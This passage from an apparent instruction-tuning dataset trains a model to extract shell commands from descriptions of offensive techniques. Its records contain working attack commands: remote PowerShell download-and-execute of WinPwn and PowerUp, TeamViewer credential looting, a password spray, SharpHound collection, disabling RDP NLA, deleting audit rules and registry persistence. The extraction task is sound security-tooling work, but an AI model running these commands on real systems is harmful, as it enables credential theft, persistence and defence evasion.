first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To loot local credentials by decrypting TeamViewer passwords using WinPwn, run the following command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\ndecryptteamviewer -consoleoutput -noninteractive",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\ndecryptteamviewer -consoleoutput -noninteractive  \"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For creating or editing a file within /Library/StartupItems, run the command: sudo touch /Library/StartupItems/EvilStartup.plist",
    "output": "{\"command_list\": [\"sudo touch /Library/StartupItems/EvilStartup.plist\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable changes to Taskbar and Start Menu Settings via Group Policy, you can modify the registry of the currently logged in user with the following command: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v NoSetTaskbar /t REG_DWORD /d 1 /f. Note that some Group Policy changes may require a restart.",
    "output": "{\"command_list\": [\"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\" /v NoSetTaskbar /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Network-level authentication can be disabled for RDP by modifying a registry key, as demonstrated by Flax Typhoon actors for persistence, with this command: reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v UserAuthentication /d 0 /t REG_DWORD /f",
    "output": "{\"command_list\": [\"reg add \\\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\\WinStations\\\\RDP-Tcp\\\" /v UserAuthentication /d 0 /t REG_DWORD /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This script attempts to brute force a single AD account by testing IPC$ share connectivity with the command:\necho Password1> passwords.txt\necho 1q2w3e4r>> passwords.txt\necho Password!>> passwords.txt\necho Spring2022>> passwords.txt\necho ChangeMe!>> passwords.txt\n@FOR /F \"delims=\" %p in (passwords.txt) DO @net use %logonserver%\\IPC$ /user:\"%userdomain%\\#{user}\" \"%p\" 1>NUL 2>&1 && @echo [*] #{user}:%p && @net use /delete %logonserver%\\IPC$ > NUL",
    "output": "{\"command_list\": [\"echo Password1> passwords.txt\\necho 1q2w3e4r>> passwords.txt\\necho Password!>> passwords.txt\\necho Spring2022>> passwords.txt\\necho ChangeMe!>> passwords.txt\\n@FOR /F \\\"delims=\\\" %p in (passwords.txt) DO @net use %logonserver%\\\\IPC$ /user:\\\"%userdomain%\\\\#{user}\\\" \\\"%p\\\" 1>NUL 2>&1 && @echo [*] #{user}:%p && @net use /delete %logonserver%\\\\IPC$ > NUL\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following command will return all accounts configured without Kerberos pre-auth requirements: Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name",
    "output": "{\"command_list\": [\"Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The deletion of all audit rules, achieved by running 'auditctl -D', results in the loss of monitoring configurations and audit logs, increasing the risk of undetected unauthorized activities.",
    "output": "{\"command_list\": [\"auditctl -D\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Microsoft permits users to specify a custom boot verification program by creating a registry key, which can be exploited by threat actors using the following command: reg add HKLM\\System\\CurrentControlSet\\Control\\BootVerificationProgram /v ImagePath /t REG_SZ /d \"#{malicious_file}\"",
    "output": "{\"command_list\": [\"reg add HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\BootVerificationProgram /v ImagePath /t REG_SZ /d \\\"#{malicious_file}\\\"\\n\"]}"
  },
  {
